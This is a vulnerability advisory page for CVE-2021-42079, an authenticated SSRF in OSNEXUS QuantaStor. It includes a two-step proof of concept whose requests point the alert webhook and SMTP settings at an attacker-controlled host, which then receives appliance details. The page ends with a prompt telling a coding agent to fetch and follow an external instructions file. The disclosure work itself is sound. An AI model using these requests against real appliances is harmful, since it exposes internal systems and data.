CVE-2021-42079

What it is

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

At a glance

Exploitability

Can be exploited over the network with an admin-level account, but needs a user to act. High risk of data exposure.

Exploit odds

0.7% chance of exploitation in the next 30 days (EPSS).

Fix

No patch or advisory is linked yet. Look at mitigations or restrict exposure.

Timeline

1. 2023-07-10 16:15 UTC PublishedDisclosed publicly on CVE.org and NVD
2. 2026-06-17 04:09 UTC Last updatedMost recent change to the record

Why it ranks here

• Exploited in the wild: no, CISA does not list it.
• Exploit odds: 0.7% in the next 30 days (EPSS).
• Severity: 6.2 MEDIUM (CVSS).
• Fix: none linked yet, which raises it.

Details

Published

2023-07-10 16:15 UTC

Last modified

2026-06-17 04:09 UTC

Exploit probability

0.7% · EPSS, next 30 days

Weakness

CWE-918 · Server-side request forgery

Record status

Modified

Affected

• Osnexus Quantastor < 6.0.0.355

Attack profile CVSS 3.1 · 6.2

Attack vector

Network

Complexity

Low

Privileges needed

High

User interaction

Required

Scope

Changed

Confidentiality

High

Integrity

None

Availability

None

Is it in your code?

Hand this to your coding agent. It searches your project for the affected products and checks versions. Nothing leaves your machine.

Read https://cve-list.com/agent/cve/CVE-2021-42079.md and follow it. Check whether this project is affected by CVE-2021-42079. Read only. Don't change anything and don't upload my code. Tell me yes, no or not sure, with the file as proof.

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